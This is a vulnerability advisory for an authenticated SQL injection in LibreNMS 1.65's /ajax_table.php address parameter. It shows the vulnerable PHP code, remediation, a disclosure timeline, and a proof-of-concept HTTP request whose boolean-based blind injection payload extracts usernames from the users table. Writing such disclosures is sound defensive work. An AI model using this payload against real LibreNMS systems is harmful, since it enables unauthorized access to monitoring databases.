LibreNMS address authenticated SQL injection

Summary

LibreNMS 1.65 is affected by a SQL Injection vulnerability via the address parameter in the /ajax_table.php API endpoint. A ‘normal’ privileges attacker can gain access to the database in use by LibreNMS.

Product description (from vendor)

“LibreNMS is an autodiscovering PHP/MySQL/SNMP based network monitoring which includes support for a wide range of network hardware and operating systems including Cisco, Linux, FreeBSD, Juniper, Brocade, Foundry, HP and many more”. For more information on LibreNMS, visit https://www.librenms.org/.

CVE(s)

Details

Root cause analysis

The /ajax_table.php API endpoint allows the user to retrieve information from many modules, specified by the id parameter in https://github.com/librenms/librenms/blob/1.65/html/ajax_table.php :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
    <?php

    [...]
    
    $searchPhrase = $_REQUEST['searchPhrase'];
--> $id           = basename($_REQUEST['id']);
    $response     = array();

    if ($id && file_exists("includes/html/table/$id.inc.php")) {
        header('Content-type: application/json');
-->     include_once "includes/html/table/$id.inc.php";
    }

The ‘address-search’ module is vulnerable to SQL Injection via the address parameter in https://github.com/librenms/librenms/blob/1.65/includes/html/table/address-search.inc.php :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
    <?php

    [...]

--> list($address,$prefix) = explode('/', $vars['address']);

    if ($vars['search_type'] == 'ipv4') {
        $sql  = ' FROM `ipv4_addresses` AS A, `ports` AS I, `ipv4_networks` AS N, `devices` AS D';
        $sql .= " WHERE I.port_id = A.port_id AND I.device_id = D.device_id AND N.ipv4_network_id = A.ipv4_network_id $where ";
        if (!empty($address)) {
-->         $sql .= " AND ipv4_address LIKE '%".$address."%'";
        }
    
    [...]
    
    $count_sql = "SELECT COUNT(`ipv4_address_id`) $sql";
    
    [...]

    $total = dbFetchCell($count_sql, $param);

    [...]

Proof of concept

  1. Log-in LibreNMS and take note of the X-CSRF-TOKEN HTTP header and XSRF-TOKEN and laravel_session HTTP cookies values
  2. Edit with your own values and perform the following HTTP request:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
POST /ajax_table.php HTTP/1.1
Host: <EDIT>
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:76.0) Gecko/20100101 Firefox/76.0
Content-Type: application/x-www-form-urlencoded
X-CSRF-TOKEN: <EDIT>
X-Requested-With: XMLHttpRequest
Content-Length: 139
Content-type: application/json
Connection: close
Cookie: XSRF-TOKEN=<EDIT>; laravel_session=<EDIT>

current=1&rowCount=50&search_type=ipv4&address='+OR+(SELECT+username+from+users+where+user_id%3d1)%3d%27librenms%27--+a/&id=address-search

Note the HTTP request includes the malicious payload ' OR (SELECT username from users where user_id=1)='librenms'-- which allows us to extract information from the database by a boolean-based oracle (if the reponse JSON “total” field is not zero the guess is correct).

  1. Notice the HTTP response contains a JSON with “total” attribute different than zero, which means the attacker’s guess is correct.

Impact

A low-privileged attacker can gain access to the database in use by LibreNMS.

Remediation

The address parameter is now used via SQL query parametrization. Upgrade to LibreNMS 1.65.1 or later.

Disclosure timeline

This report was subject to Shielder’s disclosure policy:

Credits

`polict` of Shielder

Data

10 July 2020